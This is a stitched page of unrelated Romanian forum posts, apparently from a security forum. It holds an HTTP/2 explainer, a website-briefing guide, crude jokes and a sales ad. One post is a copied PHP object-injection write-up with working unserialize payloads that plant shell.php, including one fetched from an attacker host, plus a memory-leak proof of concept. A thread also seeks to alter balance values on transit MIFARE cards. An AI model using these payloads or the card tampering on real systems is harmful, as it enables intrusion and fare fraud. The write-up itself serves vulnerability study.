Leaderboard

După ce le faci reclamație la Poliție și le-or veni citațiile acasă, sigur o să le șteargă singuri.

Am si eu un cuvant de spus Lasati mamele sa vina la mine! :)))))

Internet Engineering Task Force a anunţat acum două zile că a definitivat noul protocol HTTP/2, iar de standardizarea acestuia ne mai desparte doar etapa verificării finale tehnice şi editoriale RFC. Noul protocol este cea mai importantă îmbunătăţire a infrastructurii World Wide Web din ultimii 16 ani, însă ce este totuşi protocolul HTTP/2 şi care sunt avantajele pe care le acesta le are în faţa actualului HTTP/1.1, care a fost standardizat în 1999? De ce avem nevoie de HTTP/2? HTTP a apărut odată cu primul server World Wide Web şi cu limbajul de descriere a paginii HTML, acest protocol fiind fundamentul tehnologic pe care s-a construit întregul Web pe care îl vedem şi îl folosim zilnic. Implementat într-o formă primitivă în 1991, HTTP a fost finalizat în 1996 şi a evoluat la actuala versiune 1.1 trei ani mai târziu. Asociat adesea doar cu browser-ele, HTTP nu este folosit însă doar pentru transferul resurselor Web obişnuite, adică fişiere HTML, pagini de stil CSS sau imagini, ci este utilizat de multe alte aplicaţii pentru streaming-ul audio/video, pentru transferul de fişiere, pentru mesagerie şi uneori chiar pentru VoIP. Un protocol simplu şi omniprezent, HTTP/1.1 are însă câteva deficienţe. Atunci când clientul, (indiferent dacă este vorba de un browser sau o altă aplicaţie) trimite o cerere pentru accesarea unei resurse, serverul deschide o sesiune de transfer şi trimite înapoi datele necesare pentru afişarea informaţiei cerute. Pe vremea când paginile Web erau încă simple, limitările HTTP/1.1 nu erau nici ele atât de evidente, însă pe măsură ce site-urile au început să folosească tot mai mult cod HTML5, JavaScript, CSS şi elemente media audio/video/Flash bogate, arhitectura HTTP a început să dea semne de oboseală. În mod normal, HTTP/1.1 permite transferul mai multor elemente în cadrul unei sesiuni prin intermediul unei unice conexiuni TCP, însă modul de lucru secvenţial al protocolului face ca orice întârziere apărută în procesarea sau transmiterea unui element să provoace întârzierea întregului lanţ care urmează după acesta. În practică, această problemă se face remarcată prin creşterea latenţelor şi mărirea duratelor de încărcare ale unei pagini sau ale unei alte resurse online. Pentru a evita această problemă, unele implementări HTTP/1.1 au limitat sesiunile la transferul unui singur element, practic o revenire la modul de lucru HTTP/1.0, însă această metodă de lucru s-a împiedicat la rândul ei de numărul foarte mare de conexiuni TCP de un client, de limitele serverelor Web, de limitele browser-elor şi de latenţele induse de multiplele negocieri TCP necesare pentru fiecare sesiune HTTP în parte. Ce este HTTP/2? De-a lungul timpului, HTTP/1.1 a primit câteva extensii utile, cum ar fi de pildă HTTP Pipeline, însă nici una dintre acestea nu a adresat problemele fundamentale ale protocolului şi toate s-au lovit de alte deficienţe deja existente. Prima încercare serioasă de îmbunătăţire a fost protocolul SPDY, care a fost dezvoltat de către Google, iar acesta a trebuit să împace două aspecte. Pe de o parte, SPDY a trebuit să folosească o singură conexiune TCP pentru conectarea bidirecţională între server şi client, economisind astfel resursele, însă pe de altă parte a trebuit să eficiente transferul secvenţial prin înlocuirea lui cu mai multe căi paralele de transfer. Plastic vorbind, SPDY a înlocuit o stradă cu o singură bandă cu o şosea cu mai multe benzi paralele şi a adăugat un dispecer s-a ocupat de sortarea vehiculelor în funcţie de tonaj şi viteză pentru a fluidiza cât mai bine traficul. HTTP/2 într-o singură imagine Pe lângă multiplexare şi prioritizare, SPDY a adăugat şi alte îmbunătăţiri. Protocolul dezvoltat de către Google a îmbunătăţit latenţele deoarece clientul nu mai face atâtea apeluri iar serverul nu mai este nevoit să răspundă la toate, a comprimat header-ele pentru a reduce şi mai mult latenţa, a adăugat un suport push care-i permite serverului să împingă în avans datele de care clientul va avea nevoie şi le-a completat cu o criptare generală TLS care creează un tunel sigur prin care circulă datele. Deşi SPDY este un protocol deschis care a evoluat din 2009 până acum şi a ajuns la versiunea 3.1, a devenit clar că un protocol suportat oficial de către Internet Engineering Task Force ar fi o idee mai bună. Preluând cele mai multe dintre specificaţiile SPDY, la care s-au adăugat pe parcurs modificările aduse de Microsoft HTTP Speed+Mobility şi Network-Friendly HTTP Upgrade, HTTP/2 a devenit treptat un standard bine definit care este acum gata să dea piept cu Internetul. Trebuie remarcat totuşi că HTTP/2 nu este o simplă împachetare a vechiului SPDY într-un nou ambalaj. HTTP/2 aduce o serie de îmbunătăţiri importante, printre care se remarcă multiplexarea datelor furnizate de mai multe servere în cadrul unicului canal TCP folosit, diferenţiindu-se astfel de modul de lucru SPDY, care era nevoit să deschidă câte un canal pentru fiecare server accesat. Modul în care sunt stabilite şi controlate priorităţile pachetelor a fost perfecţioant şi a devenit mai eficient. O altă îmbunătăţire este schimbarea algoritmului de compresie a datelor, HTTP/2 renunţând la gzip din SPDY în favoarea algoritmul propriu HPACK şi îmbunătăţind astfel atât performanţa cât şi securitatea. Cât de bun este HTTP/2 şi când îl vom vedea la lucru? Prima întrebare este una dificilă deoarece avantajele HTTP/2 variază în funcţie de tipul de date transferate. O serie de teste făcute cu precursorul SPDY au arătat îmbunătăţiri ale vitezei de încărcare a paginilor care variază între 12 şi 48 de procente, iar alte teste recente arată că, deşi HTTP/2 mai are unele mici deficienţe, acesta îşi învinge părintele SPDY şi desfiinţează bătrânul HTTP/1.1. Utilizatorii trebuie să se aştepte deci la viteze mai mari de încărcare iar aceste îmbunătăţiri vor deveni treptat vizibile în cadrul tuturor browser-elor şi aplicaţiilor care folosesc HTTP. Îmbunătăţirile aduse de SPDY (si HTTP/2) conform Twitter În acest moment, HTTP/2 este implementat doar în cadrul browser-elor Microsoft Internet Explorer 11 (doar pe Windows 10), Mozilla Firefox 34 (activat implicit începând cu versiunea 36) şi Google Chrome 40 (neactivat încă în mod implicit). De partea cealaltă, suportul HTTP/2 este implementat în cadrul serverelor Microsoft IIS (Windows 10) şi OpenLiteSpeed, în timp ce faimoasele nginx şi Apache au suport SPDY şi probabil că vor primi module adiţionale pentru HTTP/2 în lunile care vor urma. World Wide Web nu se va schimba în mod cert peste noapte, însă probabil că peste douăsprezece luni vom vedea deja actualizări specifice pentru toate browser-ele, platformele pentru dezvoltare software şi servere. Deşi HTTP/2 este o îmbunătăţire semnificativă a actualului HTTP/1.1, acesta nu schimbă însă şi modul în care clienţii şi serverele interacţionează între ele. HTTP/2 păstrează sintaxa, metodele de interacţiune, codurile de semnalizare şi schema de adresa a resurselor, ceea ce înseamnă că tranziţia de la HTTP/1.1 la HTTP/2 va fi practic invizibilă pentru utilizatori. Aşa cum utilizatorii Chrome sau Firefox au vizitat site-uri care au început să folosească SPDY fără să remarce ceva neobişnuit, tot aşa se va întâmpla şi în cazul migrării la HTTP/2. De asemenea, HTTP/2 este compatibil cu standardele anterioare, iar în cazul în care ori clientul ori serviciul online accesa nu-l implementează, comunicarea se va face prin intermediul vechiului HTTP/1.1. HTTP/2 nu are şi deficienţe? Ca orice altă tehnologie, nici HTTP/2 nu este perfect şi este criticat pentru anumite aspecte. Mai întâi de toate, toate prezentările vorbesc despre criptarea TLS 1.2 şi avantajele acesteia, însă această securizare suplimentară nu este în realitate obligatorie deoarece HTTP/2 poate funcţiona la fel de bine şi în cazul HTTP şi în cazul HTTPS. Criptarea este însă promovată intens de către Internet Engineering Task Force iar Microsoft, Mozilla şi Google au afirmat că nu intenţionează să implementeze HTTP/2 fără criptare, ceea ce înseamnă că aceasta este de-facto obligatorie. Iar acest lucru este o problemă. Mai întâi de toate, criptarea TLS implică utilizarea unor certificate de securitate. Acest aspect nu este o problemă pentru companiile mari, însă proprietarii site-urilor de mai mică anvergură vor descoperi repede că certificatele de securitate sunt cam scumpe şi necesită reînnoiri periodice. Terminalele mobile ar putea fi şi ele afectate de această criptare obligatorie. Criptarea şi decriptarea datelor necesită cicluri suplimentare de procesare, iar dacă acest lucru nu este deranjant în clipa de faţă, autonomia ar putea avea de suferit atunci când întregul Web va necesita criptare. În final, unii specialişti sunt nemulţumiţi deoarece HTTP/2 nu implementează anumite facilităţi suplimentare de natură să asigure intimitatea utilizatorilor, cum ar fi de pildă abandonarea fişierelor cookie în favoarea unor identificatori de sesiune care pot fi controlaţi de către utilizatori. Sursa:http://www.go4it.ro/internet/http2-ce-inseamna-noul-protocol-www-pentru-utilizatorul-obisnuit-13860221/

E bullshit. Ar exista o posibilitate folosind applet-uri java dar trebuie sa accepti explicit sa activezi appletul.

{0x8e, 0x10} 4.5lei {0x89, 0x60} 3.0lei {0x80, 0x00} 0lei Cum e encodat? Luati-o ca pe o provocare dar sa imi spuneti si mie dupa

Scriu acest ghid pentru cei care vor dori in viitor ca cineva (individ/grup/companie) sa le faca un website si sper sa le fie util atat lor: pentru a isi da seama ce vor, pentru a reduce riscul de a fi tepuiti, etc. cat si companiei: sa inteleaga contextul, asteptarile, ce trebuie sa livreze, etc. Insa si pentru sunt satul de cei care asteapta ca altii sa le citeasca gandurile. Deci.. inainte de a discuta cu cineva o oferta de pret si alte detalii, ar fi ideal sa asterneti in scris urmatoarele. Evident, se poate adapta dupa nevoi: 1. O foarte scurta introducere: Daca este o firma, cand a luat fiinta, cu ce se ocupa, cati angajati, realizari, etc. Daca este un site personal: detaliile corespunzatoare. Si asa mai departe. Este un site nou sau refacerea unuia existent. 2. Obiectivele: ce vreti sa realizati cu acest website. Se pot imparti eventual pe obiective principale: 3-5 la numar si obiective secundare. Acestea trebuie sa fie realiste. 3. Cui se adreseaza acest site, care ar fi vizitatorul ideal. In functie de obiective, ce fel de vizitator v-ar ajuta sa la atingeti. Ganditi-va la ce ar vrea ei sa faca pe site si la ce ati vrea voi ca ei sa faca pe site si cum acestea pot fi imbinate. Ce vrei sa-i convingi sa faca: sa citeasca ceva, sa urmareasca un clip, sa cumpere ceva, etc. 4. Un schelet al site-ului ideal. Chiar daca acesta va suferi modificari si adaptari dupa consultarea cu cel ce va livra site-ul si chiar daca este cu pixul pe hartie, cum ati vrea sa fie structurat landing page-ul si eventual urmatoarele cateva pagini. Daca folositi un tool de mindmapping (https://bubbl.us/mindmap) veti putea asterne un element grafic extrem de folositor: pentru voi, sa va dati seama de structura potentiala, cat de usor va fi de navigat si sa va asigurati ca nu va scapa nimic din memorie; dar si pentru cei ce lucreaza: sa inteleaga ce vreti sa realizati si sa poata veni cu idei si sugestii. 5. Detaliile tehnice: aceasta lista trebuie sa fie cat mai completa. Unele proiecte mari necesita si luni de zile de lucrat la definirea specificatiilor tehnice. Chiar daca nu le produceti pe toate la inceput, vor fi esentiale pentru cei ce lucreaza sa va poata da un pret estimativ si un timp de livrare. Apoi, inainte de incheierea contractului (un contract nu e neaparat ceva oficial, poate fi contract verbal sau in scris pe Sykpe, etc.) trebuie specificat si confirmat cu exactitate fiecare fiecare detaliu. Un exercitiu recomandat este sa va puneti in pielea vizitatorului si sa navigati mental pe site si sa va ganditi la "user experience" si cum ar putea fi imbunatatit. La urma urmei aceasta este ultima sansa de a adauga cerinte la proiect. Bineinteles ca unii vor fi flexibili insa daca abuzati de bunatatea altora va veti trezi cu neplaceri. De asemenea cine va "mentine" site-ul dupa completare. Este nevoie de un CMS? Sau de training in editarea si updatarea lui? 6. Detalii auxiliare: in afara de cerintele necesare pentru functionarea site-ului, aspecte de design, securitate, viteza, legalitate/compliance, back-ups, integrari, etc. 7. Daca aveti competitie cine este: ce au bun, ce au mai putin bun. Ce puteti folosi ca idee/concept (nu copiat!) si ce puteti imbunatati. Cum ati putea plusa pe slabiciunile lor si cum evitati repetarea greselilor lor? Sunt exemple de site-uri care va plac pe o nisa asemanatoare? Aveti un anume concept in gand? Cat mai multe detalii de genul acesta. 8. Bugetul. Stiu e nasoala treaba cu banii si e greu de multe ori de specificat o suma si mai ales nu vreti din anumite motive sa specificati cati bani aveti alocati pentru asa ceva pentru ca va e frica de faptul ca se va profita de aceasta informatie si intradevar multi o fac si pun preturile in functie de client si de cati bani au. Ca sa evitati aceste lucruri dati niste range-uri cat mai vagi insa realiste si apropiate de realitate ca sa nu va pierdeti nici voi vremea si nici cei cu care luati legatura. Spre exemplu daca aveti un buget de 500 euro puteti spune intre 250 - 800. Daca vi se da un pret de 700, puteti incepe si negocia de la 400 pentru a ajunge apoi la suma dorita insa negocierea este un alt topic de discutie. 9. Deadline-ul. Sa fie cat mai realist, cu obraz insa bine definit. Chestii de genul "cat mai repede", "urgent", etc. sunt penibile. Aici este o oportunitate de a elimina si din riscul pierderii banilor si anume crearea de stagii (milestones): impartiti proiectul pe stagii, si la completarea fiecarei stagiuni cei ce lucreaza vor vedea un procent din suma totala - totul stabilit prin contract. 10. Orice alte detalii, presupuneri, dorinte, chestii de accesibilitate dorite, etc. Bineinteles, in functie de proiect aceste lucruri variaza insa acesta este un punct de plecare pentru: - a nu irosi timpul vostru si al altora - a avea cat mai mari sanse de reusita - a nu fi luati de prosti si tratati (dpdv financiar) ca atare. Succes!

Nepoatele +17 la mine.

Fiicele vreau sa le trimiteti la mine :))))))))

At NotSoSecure, we conduct Pen Test/ Code Reviews on a day-to-day basis and we recently came across an interesting piece of PHP code that could lead to RCE, but the exploitation was bit tricky. After spending some sleepless nights trying to break this code, we identified that both application and system level code execution was possible using the vulnerability. This blog post from Rahul Sasi will shed some info on the bug and exploitation part. The vulnerable code: PHP Vulnerable code In the above code, user controlled value could be passed on to PHP un-serialization function. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize(). Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. In our code the application takes a file name, which gets read using PHP file_get_contents function. The output is then fed to php unserialize module. With the above bug both application level and system level code executions is possible, we will get into that soon. PHP Unserialize In order to successfully exploit the above bug three conditions must be satisfied: The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a “POP chain”. All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes . The data passed to unserialized comes from a file, so a file with serialized data must be present on the server. Ref: https://www.owasp.org/index.php/PHP_Object_Injection In the above scenario, conditions 1 and 2 are satisfied for exploitation. But since the input to un-searilized comes from a file read by PHPfile_get_contents, it was bit tricky to exploit. PHP function file_get_contents can be passed with remote URLs if allow_url_fopen is enabled (on latest PHP versions its disabled by default). In one such case an attacker could pass in a url with a file containing serialized malicious data hosted on a remote server. http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt Contents of exp.txt O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;} But unfortunately allow_url_fopen was not enabled on the applications we were testing. Note: It is not possible to include a file like /proc/self/environor anything similar (like access logs) since, a serialized string should not contain garbage data. So our file should only contain the serialized data for the exploit to work. Before we move on to how to exploit the above code let me explain a bit on PHP object injection exploit and what the above payload does. PHP Object Injection: Php Unserialization based security issues were first documented by Stefan Esser in 2009 . These days with the increase in number of json based applications serialization modules are used a lot. Lets learn more about the serialization modules. PHP Serialization: In order to preserve the contents on an array PHP has this function called serialize() ,it converts an array, given as parameter, into a normal string that you can be saved in a file, passed as an input to a URL etc. PHP serialize function Ref: http://www.hackingwithphp.com/5/11/0/saving-arrays Serialization example: Serializing a 3 char string array. Example Serialize 3 char string array Understanding the serialized string Understanding serialized string a:3{ Array of 3 values i:0 Integer, value [ index-0] S:5:”Lorem” String, 5 chars long, string value “Lorem” i:1 Integer, value [index-1] S:5:”Ipsum” String , 5 chars long, string value “Ipsum” i:2 Integer, value [index-2] S:5:”Dolor” String , 5 chars long, string value “Dolor” PHP UnSerialization unserialization() is the opposite of serialize(). It takes a serialized string and converts it back to an array object. Un-serialization can result in code being loaded and executed due to object instantiation and auto loading. Example: value=‘a:1:{s:4:"Test";s:17:"Unserializationhere!";}’ unserialize($value); Php Autoloading: In PHP, we can define some special functions that will be called automatically. Such functions require no function call to execute the code inside. With this special feature, these are commonly referred as magic functions or magic methods. PHP magic method names are limited with some list of PHP supported keywords, like construct, destruct etc. The most commonly used magic function is __construct(). This is because as of PHP version 5, the __construct method is basically the constructor for your class. If PHP 5 can not find the __construct() function for a given class, then it will search for a function with the same name as the class name – this is the old way of writing constructors in PHP, where you would just define a function with the same name as the class. Here are few magic functions in php: __construct(), __destruct(), __call(), __callSt atic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload(). Here are few magic methods in php: Exception::__toStringErrorException::__toStringDateTime::__wakeupReflectionException::__toStringReflectionFunctionAbstract::__toStringReflectionFunction::__toStringReflectionParameter::__toStringReflectionMethod::__toStringReflectionClass::__toStringReflectionObject::__toStringReflectionProperty::__toStringReflectionExtension::__toStringLogicException::__toStringBadFunctionCallException::__toStringBadMethodCallException::__toStringDomainException::__toStringInvalidArgumentException::__toStringLengthException::__toStringOutOfRangeException::__toStringRuntimeException::__toString Ref: http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/ Object instantiation: Instantiation is when a class becomes an object by creating an instance of the class in memory. So when you actually call new class(), class() is now an instantiated object. When you un-serialize a string that is exactly what php does [Object instantiation], converts a string of arrays into objects. Un-serializing objects allows to control all properties a) public protected c) private, however un-serialized objects get woken up __wakeup() and later destroyed via __destruct(), and hence already existing code placed inside these[wakeup,destruct] magic function gets executed. Ref:http://www.nds.rub.de/media/nds/attachments/files/2011/02/RUB2011-SecurityProblemsInWebApplicationsExceptInjectionVulnerabilities.pdf So we need to find existing usable code defined inside _destruct or _wakeup, and then hijack the flow of the application. In our vulnerable program we have destruct with a function file_put_contents: Destruct with file_put_contents So our payload looks like: O:3:%22foo%22:2:{s:4:%22file%22;s:9:%22shell.php%22;s:4:%22data%22;s:5:%22aaaa%22;} O:3{: [ Object, takes 3 parameter with name foo] ”foo”: 2:{ [Parameter foo takes 2 values] S:4:”file”;s:9:”shell.php”; [String, 4 chars long, value “file”, string 9 chars long, value shell.php] s:4:”data”;s:5:”aaaa”;} String, 4 chars long, string 5 chars long, value”aaaa” So when our above input string is un-serialized it allows controlling the properties of the class “foo”. An already existing code that is inside a magic method “_destruct” gets executed with our controlled values, in our case file_put_contents, creating a file “shell.php”. Exploitation: Since in our case, the input to Unserialization is the file read from file_get_contents. $file_name = $_GET['session_filename']; unserialize(file_get_contents($file )); One of the things we were trying out was to find a method to put up the exp.txt on the server. For this we had to find a file/image upload feature. And then uploaded the file with the serialized payload. Then all we had to do was trigger , the following way. http://vul-server/unsearilize.php?session_filename=images/exp.txt Alternately system level RCE is possible using CVE-2014-8142 and CVE-2015-0231 “Use-after-free vulnerability in the process_nested_data function in ext/standard/var_Unserializationr.re in PHP before 5.4.36, 5.5.x before 5.5.20, and 5.6.x before 5.6.4 allows remote attackers to execute arbitrary code via a crafted Unserialization call that leverages improper handling of duplicate keys within the serialized properties of an object .” https://bugs.php.net/bug.php?id=68710 The above bug affects core php unsearilize function. The poc was released by Stefan Esser, we tried to optimize and make a code execution possible with the bug. Since its possible to attain system level RCE if successfully exploited. PHP + Apache Security Architecture: PHP Architecture These diagrams are good enough to explain php architecture in detail. 1) So if we could execute code in context of PHP , we would be able to break out of many restrictions. 2) Should be able to get shell access to hardned PHP Hosts. I am still working on this. And I have found that “Tim Michaud” from innulled is working on the same http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html . We will update this blog soon. http://[IP]/unserialize_rce_poc.php?s=O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:50:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}'; POC code to leak memory POC code to leak memory POC code to leak memory References: http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes http://php-autoloader.malkusch.de/en https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection http://security.stackexchange. com/questions/77549/is-php-Unserialization-exploitable-without-any-interesting- http://xahlee.info/php-doc/ http://phppot.com/php/php-magic-methods http://php.net/manual/en/ http://stackoverflow.com/questions/11630341/real-time-use-of-php-magic-methods-sleep-and-wakeup Source :

Da, folosesc mifare clasic 1k

Plus că și alea sunt deprecated. Probabil la softurile jocurilor de noroc funcționează, pentru că acolo se execută codul pe sistemul unde e instalat. Dar nu văd la ce ar ajuta să știe mac-ul pentru că se poate schimba foarte ușor. Oricum ce spune el sunt doar mituri ale internetului.

Daca am reusit sa citesc cardul inseamna ca nu sunt asa prost Cu un ACR122U

Nu .. aparatele de taxat nu au conexiune la internet ... daca te uiti pe siteul ratb la incarcare online ai sa vezi ca dureaza 24 de ore sa transfere informatia la aparate ca tu ai reincarcat online (spun ei la ora 12am) si la prima validare iti incarca cardul iar suma este stocata pe card, spun din proprie experienta Iar valorile care le-am postat sunt singurele care difera intre cele 3 carduri cu sume diferite (difera si cheile de securitate mai putin keyA si keyB pentru primele 2 block-uri) Nu va ganditi ca fac prosti dar e provocator sa le modific dar mam impotmolit aici

Haide pa 1 luna! @DrMengele daca nu vrei si tu o pauza ai grija la off-topic. LE: De unde apareti bre.. Doamne, ai mila!

Facem petitie online pentru demiteria moderatorului basist aa7670?Care ajutat de nimeni altul decat Traian Basescu a dus la caderea RST-ului.

,,,da , cu placere... ,,,"pateul " mai tirziu...!!!

Menstruația (din latinescul menstruus, „în fiecare lună”) este manifestarea cea mai vizibilă a ciclului menstrual la femei, fiind reprezentată de o hemoragie fiziologică din mucoasa uterină, care apare la femeia adultă. Se produce regulat și periodic, aproximativ la 4 săptămâni, exceptând perioada de sarcină și de alăptare, durând în general între trei și șapte zile. De secole, misterul care se ascunde în spatele faptului că femeile sunt iritate şi nervoase în timpul „acelei perioade ale lunii” a intrigat pe mulţi, dar un nou studiu arată motivul exact pentru acest comportament ciudat. Cercetătorii de la Universitatea din California, Los Angeles, au spus că celulele creierului, numite receptori GABA, sunt de vină pentru schimbările de spirit lunare ale femeilor. Pentru a investiga mecanismele potenţiale din spatele PMDD (tulburare disforică premenstruală), cercetătorii au folosit PET Scan, care arată cum este glucoza metabolizată pentru a identifica activitatea la nivelul creierului. Constatările indică faptul că hormonii nu sunt vinovaţi. În schimb, scanările arată că la sfârşitul fazei luteale a PMDD, activitatea cerebelului şi-a sporit activitatea şi cu cât s-a înregistrat mai multă activitate, cu atât mai rele au fost simptomele. Una din funcţiile celulelor GABA este de a limita activitatea asociată cu stresul şi anxietatea.

As adauga, e bine ca dev, sa foloseasca un tool de management al taskurilor (jira, trelo, asana, etc..) iar clientul poate avea access pentru a putea interveni daca taskurile nu sunt bine intelese/definite dar si pentru a avea o imagine de ansamblu asupra dezvoltarii. Asemenea este esential sa existe un server de dev unde clientul sa poata vedea ultimele implementari. Taskurile trebuie sa ie cat mai granulare, iar daca un task ia mai mult de cateva ore/o zi, poate fi spart in taskuri mai mici, pentru ca asta inseamna ca nu este destul de granular definit. Daca taskurile sunt bine definite, atunci estimarile ies mult mai realiste, caci in procesul de definire a taskurilor iti dai seama daca si ce ti-a scapat initial din estimari. Inca un lucru, niciodata nu se estimeaza un task in timpul ideal de lucru, ci in timpul efectiv. Timp ideal = daca am avea un cronometru unde am cronometra cat am lucra, oprindu-l de fiecare data cand iesim la o tigara sau mergem la toaleta, asta ar fi timpul ideal Timpul efectiv = este timpul ideal, la care se adauga intreruperile, firesti, umane, ca doar nu suntem roboti, si daca nu luam in considerare asta, intotdeauna estimarile noastre o sa fie KO. Si nu trebuie ca dev sa se simta vinovati pt asta, si nici beneficiarii furati, caci este felul in care lucrurile merg, orice altel de estimare va cauza probleme pentru ca nu o sa poata fi respectate termenele si ambii o sa ie nemultumiti. Iar, nu exista un termen batut in cuie, totul este estimativ, ideal este ca totul sa ie cat mai aproape de estimare, totusi la un proiect mare o abatere de 15-20% este rezonabila. Desi o data cu experienta estimarile sunt mai bune iar aceasta poate ajunge si la 1%. Abaterile astea pot veni de la ambele parti, ori clientul s-a apucat sa schimbe anumite lucruri, ori echipa de dezvoltare si-a dat seama ca solutia luata in considerare la estimare nu este cea mai optima. Si este la fel de firesc pe cum este firesc sa exista buguri. Daca nu ai buguri, inseamna ca nu ai testat destul de bine aplicatia si atunci e o problema. Fi la final, un contract strong, trebuie sa stea deasura oricarei discutii.

Praff !

Caut colaborator vanzari pentru un site de game hosting. Responsabilitati: - Gasirea prin mijloacele proprii de potentiali clienti. - Sporirea vanzarilor produselor noastre. - Experienta in domeniu constituie avantaj. Avantaje: - Se ofera comision avantajos pentru fiecare client nou adus ce isi duce comanda la bun sfarsit. - Program flexibil, ma intereseaza doar sporirea vanzarilor. Descriere: Am nevoie de un om cu experienta in domeniu care sa promoveze produsele noastre in vederea cresterii vanzarilor. Se ofera comision 5 RON pentru fiecare client nou adus. Nu se impune o anumita limita de clienti. Platile catre site-ul nostru se pot face Paypal / bancar. Platile catre colaborator se vor face prin transfer bancar, la acumularea sumei de minim 50 RON. Pentru mai multe informatii ma puteti contacta prin PM.